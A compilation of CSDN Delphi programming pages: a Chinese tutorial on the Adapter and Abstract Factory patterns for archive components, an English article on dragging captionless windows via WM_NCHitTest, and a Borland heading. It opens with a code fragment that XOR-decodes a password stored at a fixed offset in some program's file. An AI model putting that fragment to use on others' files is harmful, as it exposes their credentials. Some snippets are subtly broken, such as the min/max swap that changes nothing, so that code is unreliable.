f.Free;
end;
end
else
begin
try
F.Seek($42,soFromBeginning);
F.Read(passBuff2,40);
I:=0;j:=0;
while I<40 do
begin
B := passBuff2[i] xor xorString2[j];
pass2[j]:=char(B);
inc(i,2);inc(j);
end;
pass2[sizeof(pass2) - 1] := #0;
Edit2.Text:=StrPas(Pass2);
finally
f.Free;
end;
end;

end;

procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
file://if length(Edit1.text) >= 13 then Key := #0;
end;

end.


CSDN_文档中心_Adapter 樣式

Adapter 樣式

作者：蔡煥麟
日期：Feb-25-2002

摘要：從使用外來元件的風險以及評選原則，到利用 Adapter 樣式降低未來的風險，本文以實例說明如何以 Delphi 實作 Adapter 樣式以提昇程式的可維護性，以及如何搭配運用 Abstract Factory 樣式來設計動態的應用程式（在執行時期改變應用程式的行為）。

簡介

Adapter 是一種介面轉換的裝置，它的另一個稱呼是 wrapper（包裝者），而根據 [GHJV95] 的定義，Adapter 樣式的目的是：

「將類別的介面轉換成外界所預期的另一種介面，讓原先囿於介面不相容問題而無法協力合作的類別能夠都在一起用。」（取自 Design Patterns 中文版：物件導向設計模式）

在這裡篇文章裡面，我將以 Delphi 設計一個實用的 Adapter 類別，其主要目的並不在於讓介面不相容的類別能夠協同合作，而是將某個類別包裝成一個新的類別，讓這個類別的介面更符合我的需求。

在介紹這個類別之前，我們先來看一個有意思的問題，雖然跟主題好像沒什麼關係，實際上卻跟程式設計的活動息息相關，也跟使用 Adapter 的動機有一點關係。

發明 V.S. 研究

軟體開發人員必須經常面對各式各樣的需求，如果有一套開發工具提供了所有問題的解決方案是最好的，但這卻是不可能的，就拿 Delphi 來說，雖然它提供了非常多的 VCL 元件，但仍不足以應付專案的所有需求，此時程式設計師通常會採取兩種解決方式，一種是自己寫一個元件，可能是自己發明新的，也可能是參考或改寫別人寫好的元件；另一種則是直接使用現成的元件，不做任何的修改，這通常得花一番研究的功夫去了解如何正確地使用它。

兩種方式各有其使用時機，底限是：除非真的找不到你需要的元件，否則不要自己重新寫一個。因為市面上已經有許多現成的 VCL 元件任君挑選，花點時間去尋找比重新發明絕對來得省事多了。相信許多人都懂這層道理，但是包括我自己在內，有時候還是寧願自己寫一個而不願使用現成的元件。為什麼？

我相信每個程式設計師對於程式撰寫的風格以及命名方式都有各人的偏好，當這種偏好成為個人的習慣之後，對其他迥異的程式風格難免產生一些排斥，看不順眼，甚至覺得自己寫的一定比較好，因此就會傾向自行撰寫所有的程式碼來解決問題，這樣的心態是可以理解的。不只這樣，還有其它各種複雜的原因，例如：現成的元件並未完全符合自己的需求、以程式碼來展現自己的才華、發明創造的過程比較有趣，研究別人的程式碼比較乏味，而且可能還要忍受雜亂無章的程式碼、擔心以後維護的問題....等。

不可諱言，寫碼風格的差異是免不了的，但我相信些許的差異是可以接受的，寫碼標準的制定便在於希望能減少這些差異。剛才提的幾點因素裡面，大多與個人的性格有關，只有一個例外，也是最值得注意的，就是維護的考量。試想如果隨便找到一個元件就拿到自己的程式裡使用，那麼以後如果發現元件有臭虫的時候怎麼辦？原作者能夠在你滿意的時程內除去這個臭虫嗎？你自己親手除虫的話要花多少時間？所以，日後維護的問題也常令開發人員在考慮是否採用外來元件時猶豫不決。

以上就人們在遇到問題時經常捨棄現有的解決方案而寧願自己重新發明的現象大略提出幾點原因，如果結論是應該盡量使用現成的解決方案，那麼剩下的問題便是如何降低使用外來元件的風險了。

慎選外來元件

以下是我認為在選擇外來元件時應該考慮的條件：

  • 元件的功能是否完全符合需求。如果要修改程式的話，需要花多少功夫。
  • 是否有足夠的技術支援，口碑如何。
  • 是否提供完整原始碼，範例和說明文件，程式碼的品質如何。
  • 日後的更新及維護有沒有困難。如果打算自行維護，自己（或小組成員）有沒有能力維護。
  • 使用者介面和顯示的訊息是否容易改成中文。

如果能事先做一番調查評估，確認元件的品質符合一定的水準，我想一定能減少許多不必要的麻煩。

關於重新發明輪子的議題我想這樣的討論應該夠了，讓我們回到本文的主題，看看在開發應用程式時採用外來元件跟 Adapter 樣式有什麼關係。

動機

不知道你有沒有碰過這種情況，原本在應用程式中使用的元件，一段時間後要改用另一種元件，例如：原本使用 FastNet 的 NMFTP 元件來傳輸檔案，後來改用 Indy；原本使用 MSCOMM32.OCX 的通訊程式，後來要改用 Delphi 的 VCL 元件....諸如此類的情形在開發應用程式時多少都會遇到，請看看下面的例子。

數年前，我為客戶開發了一個資料庫應用程式，該程式是以 DBase 檔案來儲存資料，當時除了必須定期將資料檔案壓縮備份，還要有類似離線資料庫的功能，將部分資料匯出並壓縮至一片 1.44MB 的磁碟片上，方便客戶將資料帶在身上到處跑，他可以在家裡加班，或者帶著筆記型電腦在夏威夷的海灘上編輯資料，而修改後的資料也得壓縮在磁片上帶回到公司，經過解壓縮後匯入公司的資料庫中，因此我的程式得具備檔案壓縮及解壓縮的功能。

起初我撰寫 DOS 的批次檔來執行 pkzip.exe 及 pkunzip.exe 幫我壓縮檔案，批次檔寫起來毫不費力，而且大部分時候也運作正常，但是缺點就在於執行時會開啟一個 DOS 視窗，視覺的感受太差了，有時沒設定好的話，DOS 視窗還不會自動關閉，造成使用者的困擾，而且壓縮檔案的過程如果發生錯誤使用者也不易察覺。於是我開始考慮其他能夠跟 Delphi 視窗應用程式整合在一起的解決方案，一些商業元件例如 Abbrevia，Xceed Zip，VclZip，..... 等都是一時之選，可是在節省成本的考量下，只好找找看有沒有免費又好用的元件。

Delphi Zip

在網際網路上可以找到的 VCL 壓縮元件還蠻多的，經過一番評選，最後我決定使用 Delphi Zip 這套壓縮元件，因為它不但符合開放原始碼的條件，而且功能不弱，可以製作跟 pkzip 完全相容的壓縮格式、自解檔、跨磁碟壓縮（span disk）、有線上輔助說明，並且支援多國語言。實際使用後也很令人滿意，程式在進行壓縮和解壓縮時可以顯示目前的進度，比起 DOS 視窗的文字模式自然美觀多了。這個應用程式一直都運作得很好，我也就不曾想過要改用其他的元件，直到最近開發的專案中又必須用到這套壓縮元件，才發現網站上公佈了一個令人遺憾的消息，負責維護 Delphi Zip 專案的 Chris Vleghert 因為癌症去世了，而且不知怎麼地連最新的 beta 版的程式碼也一併消失了，雖然早知道開放原始碼策略有其風險，這種情況卻是始料未及。於是，現在維護的工作又落回原作者 Eric Engler 的身上，他必須從現有的 beta 版本中挑出最新的來修改，這當然又得費一翻功夫了。

所幸到目前為止重建的工程都還進行得蠻順利，我大膽地將 beta 版使用在目前的專案中也沒發現什麼問題，但這件事卻讓我有所警覺：如果有一天這套壓縮元件無法適用在新的作業環境，或者臭虫一堆卻沒有人維護，到時候該怎麼辦？又或者有一天老闆心血來潮買了一套商業元件，或主管換人了，要求我的程式得改用另一套元件，那麼現有的程式要花多少功夫來修改？

於是，為了降低風險，免於日後維護可能造成的困擾，我決定未雨綢繆，試試 Adapter 樣式。

Delphi Zip 的網址是 http://www.geocities.com/SiliconValley/Network/2114/index.html

設計與實作

[GHJV95] 將 Adapter 的結構區分為兩種，一種是 class adapter，使用多重繼承的方式來轉換介面；另一種是 object adapter，主要是使用物件複合的技術。這裡使用的就是 object adapter 的方式，我先以抽象類別訂出符合自己需求的壓縮元件介面，然後以一個具像類別（concrete class）來實作該介面，而實作的部分大都是直接使用 Delphi Zip 元件的服務，參考圖一：

（圖一）

TZipMaster 就是 Delphi Zip 元件中負責壓縮及解壓縮的類別，而 TZipAdapter 則實作了 TAbstractArchiver 定義的介面並且封裝了 TZipMaster。由於來自 Client 的要求大部分只是在背後轉呼叫 TZipMaster 的方法而已，可以想見實作 TZipAdapter 的程式碼不會很多，頂多也是加入一些轉換的處理而已。

由於我的應用程式只需要執行簡單的壓縮和解壓縮，因此一些額外的功能，像是製作自解檔和跨磁碟壓縮等相關的方法和屬性都不納入 TAbstractArchiver 裡面。為了省事，在 TAbstractArchiver 中定義的屬性和方法名稱都盡量跟 TZipMaster 一樣，像圖中的 Add 就是用來壓縮檔案的方法，取其「將檔案加入檔案櫃」之意，如果你覺得叫做 Compress 比較恰當，儘可使用自己喜歡的名稱，轉換不同的介面本來就是 Adapter 的用途之一。

這樣的設計至少有下列好處：

  1. 用戶端面對的介面變得更清爽簡潔，不像原本的 TZipMaster 有幾十個屬性和方法。新的介面十分易學易用。
  2. 如果以後要把 Delphi Zip 元件換掉，只要在 TZipAdapter 類別裡動手術而已，用戶端的程式完全不用修改。
  3. 如果要在應用程式中支援其他的壓縮格式，例如 RAR，ARJ，....等，只要再從 TAbstractArchiver 衍生新的類別即可，到時候除了 TZipAdapter，可能還會有 TRarAdapter，TArjAdapter....，但不管它們內部是怎麼實作的，應用程式的撰寫方式仍然不變（多型），因此應用程式可以輕易地支援多種壓縮格式，更甚者，再搭配個 Abstract Factory 就可以讓使用者在執行時期動態切換欲使用的壓縮格式。

接著就來看看這個壓縮介面及其實作，如果你覺得某些內容過於繁瑣，大可略過不看，有些細節只有對想要設計相同類別或者有用過 Delphi Zip 的人比較有幫助。

TAbstractArchiver

這個抽象類別必須包含基本的檔案壓縮以及解壓縮的功能，故命名為 TAbstractArchiver。類別的定義如下，簡潔起見，我把一些屬性的 Get/Set 方法給省略了：

type
  TAbstractArchiver = class(TObject)
  protected
    function GetArchiveName: string; virtual; abstract;
    procedure SetArchiveName(const Value: string); virtual; abstract;
    {....其他 Get/Set 方法 }
  public
    constructor Create; virtual;
    procedure Add; virtual; abstract;     // 將指定的多個檔案壓縮成一個檔案.
    procedure Extract; virtual; abstract; // 將指定的檔案解壓縮.

    property ArchiveName: string read GetArchiveName write SetArchiveName;
    property BaseDir: string read GetBaseDir write SetBaseDir;
    property SpecArgs: TStrings read GetSpecArgs;
    property SubFolders: Boolean read GetSubFolders write SetSubFolders;
    property CompressLevel: TCompressLevel read GetCompressLevel write SetCompressLevel;
  end;

其中 Add 和 Extract 分別是執行壓縮和解壓縮的動作，各個屬性的意義參見下表：

屬性名稱 | 說明
ArchiveName | 壓縮檔的檔名。
BaseDir | 在壓縮時作為相對路徑的基礎目錄名稱，而解壓縮時則是作為解開後的檔案所欲存放的路徑名稱。
SpecArgs | 欲壓縮/解壓縮的檔案清單，可以明白列出檔案名稱，也可以使用萬用字元，例如：*.EXE。空字串表示所有的檔案都要處理。
SubFolders | 是否連子目錄底下的所有檔案目錄一併壓縮。
CompressLevel | 壓縮效率等級。

CompressLevel 的型態是 TCompressLevel，這是我另外定義的，因為 TZipMaster 一共提供了九種壓縮方式，我覺得不需要那麼多，而且如果以後的子類別要實作其他的壓縮格式，例如：RAR，ARJ...等也未必有那麼多種壓縮方式，因此將壓縮等級簡化成以下幾種：

  TCompressLevel = (clStore, clFastest, clFast, clNormal, clGood, clBest);

在實作後代類別時，只要在 GetCompressLevel 與 SetCompressLevel 方法中做一番對應轉換即可。

TZipAdapter

TZipAdapter 繼承自 TAbstractArchiver，並且封裝了 TZipMaster 類別，其類別定義如下：

type
  TZipAdapter = class(TAbstractArchiver)
  private
    FZip: TZipMaster;
    FBaseDir: string;
    FSubFolders: Boolean;
  protected
    function GetArchiveName: string; override;
    procedure SetArchiveName(const Value: string); override;
    {....其他 Get/Set 方法 }
  public
    constructor Create; override;
    destructor Destroy; override;

    procedure Add; override;
    procedure Extract; override;
  end;

類別的建構元建立了 TZipMaster 物件，並且設定一些預設的屬性，而解構元則負責釋放 TZipMaster 物件：

constructor TZipAdapter.Create;
begin
  inherited;
  FZip := TZipMaster.Create(nil);  // 建立 Adaptee 物件.
  // set default properties
  SetCompressLevel(clBest);
  SetSubFolders(True);
end;

destructor TZipAdapter.Destroy;
begin
  FreeAndNil(FZip);
  inherited;
end;

另外，由於 TZipMaster 將壓縮和解壓縮會用到的屬性分開，例如 RootDir 和 BaseDir，一個只用在壓縮，一個則用在解壓縮，而在 TAbstractArchiver 中只定義了一個 BaseDir 屬性，因此這個屬性必須同時用在壓縮和解壓縮，其個別的作用在前面已經說過，這裡要說明的是實作 SetBaseDir 方法時必須同時設定 TZipMaster 的 RooDir 和 BaseDir 屬性：

procedure TZipAdapter.SetBaseDir(const Value: string);
begin
  FBaseDir := Value;
  FZip.RootDir := Value;
  FZip.ExtrBaseDir := Value;
end;

同樣的，TZipMaster 的 AddOptions 和 ExtrOptions 屬性也有相同功能的選項，分別是 AddDirNames 和 ExtrDirNames 選項，而在 TAbstractArchiver 中只定義一個 SubFolders 屬性來代表，所以 SetSubFolders 也要做些額外的處理：

procedure TZipAdapter.SetSubFolders(const Value: Boolean);
begin
  FSubFolders := Value;
  if FSubFolders then
  begin
    FZip.AddOptions := FZip.AddOptions + [AddDirNames, AddRecurseDirs];
    FZip.ExtrOptions := FZip.ExtrOptions + [ExtrDirNames];
  end
  else begin
    FZip.AddOptions := FZip.AddOptions - [AddDirNames, AddRecurseDirs];
    FZip.ExtrOptions := FZip.ExtrOptions - [ExtrDirNames];
  end;
end;

壓縮與解壓縮的方法很簡單，只是呼叫 TZipMaster 對應的方法而已：

procedure TZipAdapter.Add;
begin
  FZip.Add;
end;

procedure TZipAdapter.Extract;
begin
  FZip.Extract;
end;

為了讓 Delphi Zip 顯示中文訊息，還必須連結繁體中文訊息資源檔：

{$R ZipMsgTW.res}

如果新版的 Delphi Zip 沒有附上最新的繁體中文訊息檔案，也可以到我的網站下載，網址是 http://www.geocities.com/huanlin_tsai/。

其他的程式碼都很簡單，這裡就不列出來，有興趣的話可以下載範例程式回去看。

屬性的 Get/Set 方法在類別裡定義好以後，可以按 Ctrl+Shift+C 讓 IDE 幫你產生各個方法的實作程式碼，像這樣：
function TZipAdapter.SetBaseDir(const Value: string);
begin
  inherited;

end;

但是要注意由於在父代類別中，這些方法都沒有實作，所以你得自行將 IDE 幫你產生的 inherited 這行去掉，否則執行時便會發生 'Abstract error'。

非視覺化程式設計

原本的 TZipMaster 繼承自 TComponent，並且註冊到 Delphi IDE，使用時可以從元件盤上拖一個 TZipMaster 元件到 form 上面就可以方便地設定各項屬性，然後呼叫 TZipMaster.Add 方法就可以執行壓縮檔案的動作。現在改用 TZipAdapter 之後，一切得以程式來完成，參考列表 1：

列表 1
procedure TForm1.btnCompressClick(Sender: TObject);
var
  arch: TArchiver;
begin
  arch := TZipAdapter.Create;
  try
    with arch do
    begin
      BaseDir := 'C:\Projects';
      SpecArgs.Add('*.pas');
      ArchiveName := 'C:\test.zip';
      SubFolders := True;
      Add;
    end;
    arch.Free;
  except
    arch.Free;
    raise;
  end;
end;

這個簡單的範例會將 C:\Projects\ 目錄下的所有延伸檔名為 .pas 的檔案連同子目錄一併壓縮成 C:\test.zip。看起來似乎沒有原先視覺化的方式便利，但也說不上麻煩，因為我們的 TAbstractArchiver 定義的介面是為自己量身訂做的，簡潔易懂，況且要設定的屬性也不多。

拖放元件到 from 上面的開發方式是 RAD 工具的特色之一，很方便，但也有一些缺點。比如說，假設有一天你的同事要在他的電腦上修改你的程式，如果沒有事先安裝好必要的元件，專案開啟時就會出現一堆錯誤訊息告訴你類別找不到（Class TXxx not found），問你要 Ignore 還是 Cancel，如果你不小心按到 Ignore 鈕，這個元件就被刪掉了。若以非視覺化的撰寫方式，也就是以程式建立元件的方式，則頂多是編譯失敗，只要將元件所在的路徑加入函式庫搜尋路徑就行了，即使不安裝元件也沒問題。

現在假設一個更糟糕的情況，由於某種不可抗力的因素迫使你得改用另一套功能類似的元件，如果該元件在程式裡只用到一兩次還好，否則你恐怕得上窮碧落下黃泉把所有程式碼搜尋一遍，將 form 上面的元件逐一替換成新的元件（修改 .DFM 檔案），然後修改跟新元件不相容的程式碼，再重新測試程式。這工作既瑣碎又費時，能避免還是盡量避免吧，運用 Adapter 樣式就可以減少這類麻煩，以本文的範例程式來說，以後如果真要替換壓縮元件，只要修改 TZipAdapter 類別的程式碼就行了。

動態的應用程式

前面有提到，如果搭配一個 Abstract Factory 就可以讓應用程式在執行時期動態地切換多種壓縮格式，在我的上一篇文章「DLL 應用 - 設計可抽換的模組」裡面也提示可以用 Abstract Factory 來改進原有的設計，但是並沒有詳細說明，這一次我們就來看看如何實作這個專門用來生產物件的 Factory 類別。

我打算在程式中支援另一種壓縮格式：RAR，提供這項服務的類別命名為 TRarAdapter。而用來建立壓縮物件的 Factory 類別則命名為 TArchiverFactory，所以先前圖一的結構就變成這樣：

（圖二）

從圖中可以看出來新加入的 TRarAdapter 並沒有像 TZipAdapter 一樣封裝另一個類別，因為我打算直接用 DOS 版的 RAR.EXE 來幫我處理壓縮和解壓縮的功能，這麼做純粹是為了節省我撰寫範例程式碼的時間，並沒有其他特殊原因。最後再介紹 TRarAdapter 的實作，先來看看如何撰寫 Abstract Factory。

TArchiverFactory

首先我們必須提供一個類別註冊的機制，讓用戶端程式可以用字串來指定欲實體化的類別（參考圖二），因此用戶端程式只需面對抽象類別，並且可以在執行時透過字串來指定欲實體化的具象類別。顯然這個註冊機制必須能處理字串與類別的對應，我們用一個 TArchiverClassMapping 類別來提供這項服務，它會記錄一個類別的名稱與其對應的類別參考型態，參考列表 2：

列表 2
type
  // Class reference type
  TArchiverClass = class of TAbstractArchiver;

  TArchiverClassMapping = class(TObject)
  private
    FMappingName: string;
    FArchiverClass: TArchiverClass;
  public
    constructor Create(const AMappingName: string; AClass: TArchiverClass);
    property MappingName: string read FMappingName;
    property ArchiverClass: TArchiverClass read FArchiverClass;
  end;

implemetation

constructor TArchiverClassMapping.Create(const AMappingName: string;
  AClass: TArchiverClass);
begin
  FMappingName := AMappingName;
  FArchiverClass := AClass;
end;

接著是用來建立物件的工廠：TArchiverFactory，它封裝了 TObjectList，並且用它來維護一個「字串－類別參考」串列，如列表 3：

列表 3
unit AbsArchiver;

interface

uses
  Windows, SysUtils, Classes, Contnrs;

type
  TArchiverFactory = class(TObject)
  private
    FClasses: TObjectList; // Stores class-mapping list
  protected
  public
    constructor Create;
    destructor Destroy; override;

    procedure RegisterClass(AClass: TArchiverClass);
    function CreateInstance(const AClassName: string): TAbstractArchiver; overload;
  end;

implemetation

constructor TArchiverFactory.Create;
begin
  FClasses := TObjectList.Create;
end;

destructor TArchiverFactory.Destroy;
begin
  FClasses.Free;
  inherited;
end;

procedure TArchiverFactory.RegisterClass(AClass: TArchiverClass);
var
  i: integer;
  s1, s2: string;
begin
  s1 := AClass.ClassName;
  for i := 0 to FClasses.Count-1 do
  begin
    s2 := TArchiverClassMapping(FClasses.Items[i]).MappingName;
    if SameText(s1, s2) then  // 如果類別已經註冊.
      Exit;                   //   就直接返回.
  end;
  FClasses.Add(TArchiverClassMapping.Create(s1, AClass));
end;

// Create an instance of TAbstractArchiver descendent
function TArchiverFactory.CreateInstance(
  const AClassName: string): TAbstractArchiver;
var
  i: integer;
  acm: TArchiverClassMapping;
begin
  for i := 0 to FClasses.Count - 1 do
  begin
    acm := TArchiverClassMapping(FClasses.Items[i]);
    if SameText(acm.MappingName, AClassName) then
    begin
      Result := acm.ArchiverClass.Create;
      Exit;
    end;
  end;

  raise Exception.CreateFmt('<%s> 類別未註冊', [AClassName]) ;
end;

TRarArchiver

這次的主角是 TArchiverFactory，所以 TRarArchiver 就一切從簡，我只實作了壓縮的方法，而且是直接呼叫 RAR.EXE 幫我做這件事，參考列表 4。

列表 4
type
  TRarAdapter = class(TAbstractArchiver)
  private
    FArchiveName: string;
    FBaseDir: string;
    FSubFolders: Boolean;
    FSpecArgs: TStrings;
  protected
    function GetArchiveName: string; override;
    procedure SetArchiveName(const Value: string); override;
    {....其他 Get/Set 方法 }
  public
    constructor Create; override;
    destructor Destroy; override;

    procedure Add; override;
    procedure Extract; override;
  end;

implementation

{ TRarAdapter }

constructor TRarAdapter.Create;
begin
  FSpecArgs := TStringList.Create;
end;

destructor TRarAdapter.Destroy;
begin
  FSpecArgs.Free;
  inherited;
end;

// 呼叫 DOS 版的 RAR.EXE 執行壓縮
procedure TRarAdapter.Add;
var
  sSwitches: string;
  sFiles: string;
  sCmdLine: string;
  i: integer;
begin
  // 建立命令列所需的參數.
  sSwitches := '-y ';       // Yes on all queries
  if FSubFolders then
    sSwitches := sSwitches + '-r ';    // Recurse subdirs
  if FBaseDir <> '' then
    sSwitches := sSwitches + '-w' + FBaseDir + ' '; // Work directory

  sFiles := ' ';
  for i := 0 to FSpecArgs.Count-1 do
    sFiles := sFiles + FSpecArgs[i] + ' ';

  sCmdLine := 'RAR a ' + sSwitches + ArchiveName + sFiles;
  WinExec(PChar(sCmdLine), SW_NORMAL);
end;

procedure TRarAdapter.Extract;
begin
  inherited;
  ShowMessage('TRarAdapter.Extract not implemented yet!');
end;

向物件工廠註冊

別忘了 TZipAdapter 和 TRarAdapter 都要向物件工廠 TArchiverFactory 註冊，這樣用戶端才能透過字串參數令物件工廠建立對應的物件，你可以在單元的 initialization 區段中進行註冊：

unit ZipAdapter;

initialization
  ArchiverFactory.RegisterClass(TZipAdapter);

====================

unit RarAdapter;

initialization
  ArchiverFactory.RegisterClass(TRarAdapter);

其中 ArchiverFactory 是一個事先建立好的 Factory 物件，因為整個應用程式當中用來生產壓縮物件的工廠只需要一個就夠了，所以可以用簡單的 Singleton 樣式解決，參考列表 5。

列表 5
// 取自 AbsArchiver.pas 單元
interface

function ArchiverFactory: TArchiverFactory;

implementation

var
  g_ArchiverFactory: TArchiverFactory = nil;

function ArchiverFactory: TArchiverFactory;
begin
  if g_ArchiverFactory = nil then
    g_ArchiverFactory := TArchiverFactory.Create;
  Result := g_ArchiverFactory;
end;

initialization

finalization
  if g_ArchiverFactory <> nil then
    FreeAndNil(g_ArchiverFactory);

這個唯一的 Factory 物件並不是在單元的初始化階段就建立好，而是使用延遲建構的技巧，當外界需要用到的時候才建立起來。

到目前為止，我們一共完成了以下類別：

  • 抽象的壓縮/解壓縮類別 TAbstractArchiver（AbsArchiver.pas）。
  • 封裝 Delphi Zip 壓縮元件的TZipAdapter 類別（ZipAdapter.pas）。
  • 提供 RAR 壓縮功能的 TRarAdpater 類別（RarAdapter.pas）。
  • 提供字串與類別對應的 TArchiverClassMapping 類別（AbsArchiver.pas）。
  • 用來生產壓縮物件的物件工廠 TArchiverFactory 類別（AbsArchiver.pas）。

現在，外界就可以透過字串參數令物件工廠建立對應的壓縮物件了，換句話說，使用者就可以在執行時期動態切換壓縮格式了。請參考列表 6 的程式寫法，並且和先前的列表 1 的寫法對照一下有何不同。

列表 6
procedure TForm1.btnCompressClick(Sender: TObject);
var
  arch: TAbstractArchiver;
  sClassName: string;
begin
  // Create concrete archiver class depending on user's choice
  if rdoZip.Checked then
    sClassName := 'TZipAdapter';
  if rdoRar.Checked then
    sClassName := 'TRarAdapter';

  arch := ArchiverFactory.CreateInstance(sClassName);

  try
    with arch do
    begin
      SpecArgs.Text := edSpecArgs.Text;
      BaseDir := edBaseDir.Text;
      ArchiveName := edArchiveName.Text;
      SubFolders := chkSubFolders.Checked;
      Add;
    end;
    arch.Free;
    ShowMessage('Done.');
  except
    arch.Free;
    raise;
  end;
end;

程式的執行畫面如下：

結語

本文首先探討了重新發明輪子的老問題以及使用外來元件要注意哪些事項，然後以實際的例子來說明外來元件可能引發的風險，以及運用 Adapter 樣式來解決類似的問題，最後則搭配 Abstract Factory 樣式讓應用程式能夠處理動態的需求。為了方便說明，文中使用的範例程式都簡化過了，也許對多數人來說不那麼有用，但重要的是設計這些類別的用意在於：

  • 介面轉換。
  • 建立容易維護的應用程式。
  • 建立動態的應用程式。

Design patterns 提供一些好處，但不保證你能得到這些好處，如果運用得當的話，我相信對於程式的品質和可維護性的提昇必然大有幫助，希望這篇文章能讓你對 Adapter 樣式有一番初步的認識。同時也別忘了，唯有透過實作練習才能確切掌握 design patterns 的精髓，並成為你解決問題的利器，祝各位學習愉快。

範例程式

按這裡下載範例程式：AdapterDemo.zip

壓縮檔解開後會產生兩個目錄，其中 AdapterDemo1 是只有 TZipAdapter 的版本，而 AdaptrerDemo2 則是可以動態切換壓縮格式的版本。由於 AdapterDemo2 需要 DOS 版的 RAR.EXE，所以壓縮檔裡面也順便附上這個工具程式。

範例程式是以 Delphi 5 撰寫，如欲編譯這兩個範例程式，你還必須先安裝 Delphi Zip 元件，你可以到這裡下載：http://www.geocities.com/SiliconValley/Network/2114/index.html。安裝後記得要將 Zip.DLL 和 Unzip.DLL 這兩個檔案複製到 Windows 的 System 目錄下。

參考資料

  • The Delphi Magazine Issue 74 (October 2001) - The Adaptor Pattern by Peter Hinrichsen。
  • [GHJV95] E. Gamma, R. Helm, R. Johnson, J. Vlissides. Design Patterns: Elements of Reusable Object-Oriented Software. Addison-Wesley, 1995. 中文版：物件導向設計模式，葉秉哲。培生，2001。

讀者回應

> 物件工廠如果改用 Builder ( 建構者樣式 ) 來作又是如何﹖
> 一樣使用延遲建構物件的方式，兩者利弊如何﹖

雖然兩者同樣歸類於 Creational Patterns，作用也相似，但是以這份文件中的範例程式來說，Builder 並不適合用來取代 Factory。因為：

  • Factory 是用來建立同一族系的物件，每次只建立一個物件，而且建立之後就回傳給用戶端執行其他操作。Builder 則封裝了多個物件的組合過程，讓衍生的 Concrete Builder 來定義物件組合的方式。
  • Builder 樣式雖然可以透過 Director 建立同一族系的物件，但是建立出來的 Builder 物件卻是給用戶端繼續組合出最終的 Product 複合物件，這跟文中提到的延遲建構的方法與使用時機完全不同。
  • Factory 所建立的物件都符合相同的介面（抽象類別），Builder 建立的物件卻都是具象類別（因為 預設 Builder 所建立的物件彼此差異性較大，可能無法訂出統一的介面）。而用戶端在使用壓縮元件時，希望的是一致的呼叫方式，不要因為壓縮格式的不同而用另一套呼叫方式，所以 Factory 在這裡比較適合。

總之，如果要建立複合物件的話，可以用 Builder 樣式，而這篇文章裡面的 Factory 的目的在於動態切換壓縮格式，只需建立單一物件，因此用 Factory 比較適合。


CSDN_文档中心_Another Way to Drag a Window

The most common way to move an application window is to drag it by its title bar. The following article lets you provide dragging capabilities for Delphi forms without a caption, so the user can move them by clicking anywhere on their client area.

Step aside, junior
For example, consider the case of a Windows application that doesn't have a title bar, how can we move such a window?. In fact, it's possible to create windows with a nonstandard title bar and even non rectangular forms. In this case, how could Windows know where the borders and the corners of the window are?

Messages
The Windows operating system is heavily based on messages. For example, when you click on a window or a control, Windows sends it a wm_LButtonDown message, with additional information about where the mouse cursor is and which control keys are currently pressed. Sounds familiar? Yes, this is nothing more than an OnMouseDown event in Delphi.
Similarly, Windows sends a wm_NCHitTest message whenever a mouse event occurs, that is, when the cursor moves, or when a mouse button is pressed or released. If the mouse is not captured, the message is sent to the window beneath the cursor. Otherwise, the message is sent to the window that has captured the mouse.

If we can make Windows think that the user is dragging (has clicked on) the title bar rather than the client area, then the user could drag the window by clicking in the client area. The easiest way to do this is to "fool" Windows into thinking that you're actually clicking on the title bar of a form. We will do this by handling the WM_NCHitTest windows message. Here's what you have to do:

1. insert the following line into your form's "Private declarations" section (message handling procedure declaration):

procedure WMNCHitTest(var Msg: TWMNCHitTest);
  message wm_NCHitTest;

2. add the following code into the "implementation" section of your form's unit (where Form1 is assumed form name):

procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
begin
  inherited;
  if  Msg.Result = htClient then
    Msg.Result := htCaption;
end;

The first line of code in the message handler calls the inherited method to obtain the default handling for the wm_NCHitTest message.
The if part in the procedure intercepts and changes your window's behavior. This is what actually happens: when the operating system sends a wm_NCHitTest message to the window, together with the mouse coordinates, the window returns a code that states which portion of itself has been hit. The important piece of information, for our task, is in the value of the Msg.Result field. At this point, we have an opportunity to modify the message result.
This is what we do: if the user has clicked in the form's client area we make Windows to think the user clicked on the title bar. In Object Pascal "words": if the message return value is HTCLIENT, we simply change it to HTCAPTION.

Be carefull: mouse events, no more!
By changing the default behaviour of our forms we remove the ability of Windows to notify you when the mouse is over the client area. One side effect of this trick is that your form will no longer generate events for mouse messages.

Captionless-Borderless Window
If you want a captionless borderless window similar to a floating toolbar, set the Form's Caption to an empty string, disable all of the BorderIcons, and set the BorderStyle to bsNone.

Show window contents while dragging
To show the window contents while dragging the window we can use the next API procedure calls:

//to Show window contents while dragging:
SystemParametersInfo
    (SPI_SETDRAGFULLWINDOWS, 1, nil, 0);

//to disable this option call the function:
SystemParametersInfo
    (SPI_SETDRAGFULLWINDOWS, 0, nil, 0);

   More wm_NCHitTest tricks
If you look more carefully at the wm_NCHitTest message you'll see that return value of the function indicates the position of the cursor hot spot. This enables us to play some more with the message to create strange results.

. The following code fragment will prevent users to close your forms by clicking on their Close buttons.

  if  Msg.Result = htClose then
    Msg.Result := htNowhere;

. If the user is trying to move the form by clicking on the caption bar and dragging, the code replaces the result of the message with a result which indicates the user clicked on the client area. This prevents the user from moving the window with the mouse (opposite to what we were doing in the begging of the article).

  if  Msg.Result = htCaption then
    Msg.Result := htClient;

. A "funny" peace of code, minimize is maximize and maximize is minimize.

 if Msg.Result = htMaxButton then
   Msg.Result := htMaxButton
 else if Msg.Result = htMinButton then
   Msg.Result := htMinButton;

   But, I have components on a form!?
In most cases we'll have some components on a form. Let's say, for example, that one Panel object is on a form. If Align property of a panel is set to alClient, the Panel fills the entire client area so that it is impossible to select the parent form by clicking on it. The code above will not work! Why? The code above will not work because the mouse is always moving over the Panel component not the form.

To move our form by dragging a panel on the form we have to add few lines of code in the OnMouseDown event procedure for the Panel component:

procedure TForm1.Panel1MouseDown
  (Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  ReleaseCapture;
  SendMessage(Form1.Handle, WM_SYSCOMMAND, 61458, 0);
end;

Note: this code will not work with non-window controls such as TLabel components.

Moving, moving... That's it. If you have some discussion ideas on this topic, please post to the Delphi Programming Forum.


CSDN_文档中心_Borland - 我们建造的不仅仅是软件

2000-11-22

Borland - 我们建造的不仅仅是软件

Wednesday, November 22, 2000
Scotts Valley, CA

